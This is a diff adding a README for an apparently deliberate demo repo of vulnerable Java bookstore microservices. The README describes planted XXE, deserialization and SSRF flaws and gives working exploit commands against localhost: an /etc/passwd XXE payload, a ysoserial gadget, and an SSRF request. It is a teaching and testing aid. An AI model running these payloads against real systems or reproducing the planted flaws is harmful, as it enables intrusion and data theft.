|
| 1 | +# java-sample-apps |
| 2 | +This repo holds a few Java apps showing the agent's ability to discover the most common vulnerabilities in microservices. |
| 3 | + |
| 4 | +There are 3 microservice apps that implement a "book store". |
| 5 | + |
| 6 | +## The Microservices |
| 7 | + |
| 8 | +### bookstore-frontend |
| 9 | + |
| 10 | +The bookstore-frontend app is a jax-rs app serving as a front end for the book store, exposing these |
| 11 | +endpoints for book management: |
| 12 | + - GET /health |
| 13 | + - POST /add (this endpoint has an XXE vulnerability) |
| 14 | + - POST /delete |
| 15 | + - GET /list |
| 16 | + - GET /debug |
| 17 | + |
| 18 | +### bookstore-data-manager |
| 19 | + |
| 20 | +The bookstore-data-manager app is a SpringBoot app which holds the book data, offering a few services: |
| 21 | + - GET /ping |
| 22 | + - POST /add |
| 23 | + - POST /update (this "internal only" endpoint has a deserialization vulnerability) |
| 24 | + - POST /delete |
| 25 | + - GET /list |
| 26 | + |
| 27 | +### bookstore-debug |
| 28 | + |
| 29 | +The bookstore-debug app is a Dropwizard app that offers info to the devs: |
| 30 | + - GET /application/ping |
| 31 | + - GET /application/info?env=qa (this endpoint has an SSRF vulnerability) |
| 32 | + |
| 33 | +## Usage |
| 34 | + |
| 35 | +The first step is to start all 3 of the services, which will run on ports 8000, 8001 and 8002, respectively. |
| 36 | + |
| 37 | +Each service has a Dockerfile to make running 1 step. Consult each service's `README.md` to see the commands. |
| 38 | + |
| 39 | +### Using the services |
| 40 | + |
| 41 | +You're _supposed_ to do everything through the frontend service. |
| 42 | + |
| 43 | +Get a health check on the entire bookstore service mesh: |
| 44 | +``` |
| 45 | +$ curl http://localhost:8000/health |
| 46 | +``` |
| 47 | + |
| 48 | +List all the books: |
| 49 | +``` |
| 50 | +$ curl http://localhost:8000/list |
| 51 | +``` |
| 52 | + |
| 53 | +Add a book: |
| 54 | +``` |
| 55 | +$ curl -H "Content-Type: application/xml" http://localhost:8000/add -d '<book><title>The Giving Tree</title><pages>30</pages></book>' |
| 56 | +``` |
| 57 | + |
| 58 | +Alternatively, you can add a book through the backend service directly, where it expects JSON: |
| 59 | +``` |
| 60 | +$ curl -H "Content-Type: application/json" http://localhost:8001/add -d '{"pages":"30", "title":"The Giving Tree"}' |
| 61 | +``` |
| 62 | + |
| 63 | +Get debug info on the service: |
| 64 | +``` |
| 65 | +$ curl http://localhost:8000/debug |
| 66 | +``` |
| 67 | + |
| 68 | +## Detecting the vulnerabilities |
| 69 | +To add the Java Agent to all the services above: |
| 70 | + |
| 71 | +## Exploiting the Vulnerabilities |
| 72 | + |
| 73 | +### XML External Entity (XXE) |
| 74 | +The XXE vulnerability can be exploited directly in the bookstore-frontend by adding a new malicious |
| 75 | +book: |
| 76 | +``` |
| 77 | +$ curl -H "Content-Type: application/xml" http://localhost:8000/add -d '<?xml version="1.0"?><!DOCTYPE book [<!ENTITY xxe SYSTEM "/etc/passwd">]><book><title>foo &xxe;</title><pages>21</pages></book>' |
| 78 | +``` |
| 79 | + |
| 80 | +Now the contents of `/etc/passwd` has leaked into the the new book title, which you can see by |
| 81 | +checking the book titles: |
| 82 | +``` |
| 83 | +$ curl http://localhost:8000/list |
| 84 | +``` |
| 85 | + |
| 86 | +### Deserialization |
| 87 | +The `bookstore-data-manager` offers an "update a book" service that is not supposed to be used from |
| 88 | +the outside, which is why it's not available through the `bookstore-frontend`. |
| 89 | + |
| 90 | +This service is available at `/update`, and it accepts a binary, serialized Java object with `Book` |
| 91 | +type. |
| 92 | + |
| 93 | +To exploit this, we must first make an exploit that creates a file in `/tmp` as a proof-of-concept: |
| 94 | +``` |
| 95 | +$ git clone ysoserial |
| 96 | +$ docker run ysoserial-bookstore CommonsCollections5 'touch /tmp/hacked' > commonscollections5.ser |
| 97 | +``` |
| 98 | + |
| 99 | +Now you can send the exploit generated in the `commonscollections5.ser` file: |
| 100 | +``` |
| 101 | +$ curl -vv -X POST -H "Content-Type: application/octet-stream" --data-binary @commonscollections5.ser http://localhost:8001/update |
| 102 | +``` |
| 103 | + |
| 104 | +To prove that we created this `/tmp/hacked` file, we must shell into the running container. Let's get the ID: |
| 105 | +``` |
| 106 | +$ docker ps |
| 107 | +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES |
| 108 | +*[RUNNING_CONTAINER_ID]* bookstore-data-manager "mvn spring-boot:run" |
| 109 | +``` |
| 110 | + |
| 111 | +Now, using that container ID, we shell into the container and confirm the exploit created the `/tmp/hacked` file: |
| 112 | +``` |
| 113 | +$ docker exec -it 3729e1f30284 bash |
| 114 | +\# ls -al /tmp |
| 115 | +... |
| 116 | +*/tmp/hacked* |
| 117 | +``` |
| 118 | + |
| 119 | +### Same-Site Request Forgery (SSRF) |
| 120 | +The `bookstore-frontend` exposes a "info" service, only intended for developers. It is intended to be used to rertieve data about diffferent developer environments, but it can be used to force the app to retrieve data from other URLs: |
| 121 | +``` |
| 122 | +$ curl http://localhost:8002/application/info?env=google.com/? |
| 123 | +``` |
| 124 | + |
| 125 | +Obviously in this case we ask the server to retrieve Google content, but it could as easily be pointed towards URLs typically only accessed within your perimeter. |
0 commit comments